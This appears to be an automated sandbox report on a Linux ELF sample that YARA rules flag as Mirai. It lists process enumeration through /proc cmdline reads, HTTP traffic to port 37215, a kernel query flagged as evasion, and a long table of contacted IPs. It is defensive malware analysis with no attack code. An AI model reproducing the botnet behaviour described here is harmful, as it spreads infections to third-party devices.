Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/7/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/249/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/8/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/129/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/9/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/801/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/20/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/806/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/21/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/807/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/928/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/22/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/23/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/24/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/25/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/26/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/27/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/28/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/29/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3420/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/490/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/250/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/130/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/251/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/131/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/252/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/132/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/253/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/254/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/255/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/135/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/256/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1599/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/257/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/378/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/258/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3412/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/259/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/30/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/35/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1371/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/260/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/261/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/262/cmdline Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 52396 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49598 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33568 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45912 -> 37215
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/Qymt4zooqx.elf (PID: 5507) Queries kernel information via 'uname': Jump to behavior
Source: Qymt4zooqx.elf, 5507.1.000055b7f9301000.000055b7f9386000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: Qymt4zooqx.elf, 5507.1.000055b7f9301000.000055b7f9386000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: Qymt4zooqx.elf, 5507.1.00007ffc4d762000.00007ffc4d783000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: Qymt4zooqx.elf, 5507.1.00007ffc4d762000.00007ffc4d783000.rw-.sdmp Binary or memory string: mx86_64/usr/bin/qemu-sparc/tmp/Qymt4zooqx.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Qymt4zooqx.elf

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: Qymt4zooqx.elf, type: SAMPLE
Source: Yara match File source: 5507.1.00007f388402d000.00007f388402e000.rw-.sdmp, type: MEMORY
Source: Yara match File source: 5507.1.00007f3884011000.00007f388401e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Qymt4zooqx.elf PID: 5507, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: Qymt4zooqx.elf, type: SAMPLE
Source: Yara match File source: 5507.1.00007f388402d000.00007f388402e000.rw-.sdmp, type: MEMORY
Source: Yara match File source: 5507.1.00007f3884011000.00007f388401e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Qymt4zooqx.elf PID: 5507, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
140.251.58.49
 unknown United States
20252 JSIWMCUS false
209.32.197.252
 unknown United States
5006 VOYANTUS false
143.102.96.212
 unknown United States
13636 NEC-LABORATORIES-AMERICA-INCUS false
41.227.233.217
 unknown Tunisia
2609 TN-BB-ASTunisiaBackBoneASTN false
199.19.250.40
 unknown United States
396982 GOOGLE-PRIVATE-CLOUDUS false
218.177.66.137
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
57.86.240.165
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
222.118.224.31
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
185.68.174.117
 unknown Netherlands
59865 IVMNL false
201.18.7.188
 unknown Brazil
7738 TelemarNorteLesteSABR false
157.33.200.169
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
4.237.213.114
 unknown United States
3356 LEVEL3US false
71.39.60.225
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
125.39.216.116
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
164.187.133.125
 unknown United States
37717 EL-KhawarizmiTN false
79.214.199.31
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
71.115.72.5
 unknown United States
701 UUNETUS false
65.3.205.96
 unknown United States
16509 AMAZON-02US false
197.161.205.8
 unknown Egypt
24863 LINKdotNET-ASEG false
158.40.11.215
 unknown Australia
17477 MCT-SYDNEYMacquarieTelecomAU false
157.203.50.97
 unknown United Kingdom
21369 SEMA-UK-ASGB false
157.29.10.19
 unknown Italy
8968 BT-ITALIAIT false
114.25.195.230
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
177.134.218.29
 unknown Brazil
18881 TELEFONICABRASILSABR false
157.215.240.46
 unknown United States
4704 SANNETRakutenMobileIncJP false
157.187.216.187
 unknown United States
668 DNIC-AS-00668US false
41.114.147.130
 unknown South Africa
16637 MTNNS-ASZA false
14.79.229.189
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
79.244.211.111
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
211.133.99.208
 unknown Japan 2510 INFOWEBFUJITSULIMITEDJP false
141.225.56.72
 unknown United States
14048 MEMPHIS-EDUUS false
197.195.235.249
 unknown Egypt
36992 ETISALAT-MISREG false
23.178.186.223
 unknown Reserved
393763 CYCOREUS false
197.130.137.47
 unknown Morocco
6713 IAM-ASMA false
41.236.237.239
 unknown Egypt
8452 TE-ASTE-ASEG false
197.177.39.236
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
108.224.202.238
 unknown United States
7018 ATT-INTERNET4US false
41.167.147.101
 unknown South Africa
36937 Neotel-ASZA false
18.183.72.224
 unknown United States
16509 AMAZON-02US false
197.190.238.215
 unknown Ghana
37140 zain-asGH false
197.243.212.149
 unknown Namibia
37009 MTCASNNA false
17.70.140.233
 unknown United States
714 APPLE-ENGINEERINGUS false
69.211.12.128
 unknown United States
7018 ATT-INTERNET4US false
41.225.142.137
 unknown Tunisia
37671 GLOBALNET-ASTN false
174.241.96.14
 unknown United States
22394 CELLCOUS false
60.3.160.96
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
207.196.174.199
 unknown United States
3807 UMTNET-ASNUS false
140.196.97.190
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
20.148.17.100
 unknown United States
206 CSC-IGN-AMERUS false
64.184.50.64
 unknown United States
11118 COMTECKUS false
13.143.18.146
 unknown United States
7018 ATT-INTERNET4US false
156.169.19.126
 unknown Egypt
36992 ETISALAT-MISREG false
50.37.238.181
 unknown United States
27017 ZIPLY-FIBER-LEGACY-ASNUS false
119.171.17.200
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
125.113.173.155
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
220.159.163.8
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
41.37.180.64
 unknown Egypt
8452 TE-ASTE-ASEG false
60.194.46.198
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
76.172.218.138
 unknown United States
20001 TWC-20001-PACWESTUS false
108.0.233.90
 unknown United States
5650 FRONTIER-FRTRUS false
197.164.127.245
 unknown Egypt
24863 LINKdotNET-ASEG false
90.106.32.44
 unknown France
12479 UNI2-ASES false
154.4.169.214
 unknown United States
37680 COOL-IDEASZA false
195.122.136.79
 unknown United Kingdom
3356 LEVEL3US false
157.77.155.171
 unknown Japan 4678 FINECanonITSolutionsIncJP false
68.217.110.239
 unknown United States
7018 ATT-INTERNET4US false
8.168.154.128
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
118.82.202.35
 unknown New Zealand
55872 BAYCITY-AS-APBayCityCommunicationsLimitedNZ false
167.223.192.156
 unknown United States
3598 MICROSOFT-CORP-ASUS false
200.50.241.222
 unknown Argentina
27964 RSONetAR false
197.11.215.226
 unknown Tunisia
5438 ATI-TN false
179.165.136.29
 unknown Brazil
26599 TELEFONICABRASILSABR false
197.158.252.118
 unknown Seychelles
37343 AirtelSeychellesSC false
206.251.56.181
 unknown United States
328303 INETCOM-ASGH false
41.138.189.39
 unknown Nigeria
20598 CYBERSPACE-ASAutonomousSystemnumberforCyberSpaceIL false
184.150.176.114
 unknown Canada
577 BACOMCA false
108.22.162.161
 unknown United States
5650 FRONTIER-FRTRUS false
123.126.30.185
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
155.154.142.66
 unknown United States
1488 DNIC-ASBLK-01488-01489US false
157.87.74.245
 unknown United States
21612 FUNDACAOINSTITUTOOSWALDOCRUZBR false
90.201.13.63
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
157.236.106.78
 unknown United Kingdom
4704 SANNETRakutenMobileIncJP false
210.109.76.0
 unknown Korea Republic of
23588 KEP-AS-KRKAKAOEnterpriseKR false
76.0.141.28
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
211.244.86.248
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
197.239.84.3
 unknown Burkina Faso
37577 Orange-BF false
53.47.0.0
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
136.220.148.62
 unknown United States
721 DNIC-ASBLK-00721-00726US false
213.67.171.86
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
152.220.167.119
 unknown United States
30313 IRSUS false
140.201.170.209
 unknown United States
1562 DNIC-ASBLK-01550-01601US false
112.99.5.254
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
157.121.90.91
 unknown United States
2514 INFOSPHERENTTPCCommunicationsIncJP false
178.118.224.164
 unknown Belgium
6848 TELENET-ASBE false
71.25.129.94
 unknown United States
7922 COMCAST-7922US false
171.26.105.124
 unknown Belgium
34457 AMB-GENERALIDE false
205.81.247.75
 unknown United States
647 DNIC-ASBLK-00616-00665US false
197.204.9.236
 unknown Algeria
36947 ALGTEL-ASDZ false
170.221.159.95
 unknown United States
8103 STATE-OF-FLAUS false
24.115.243.243
 unknown United States
3737 AS-PTDUS false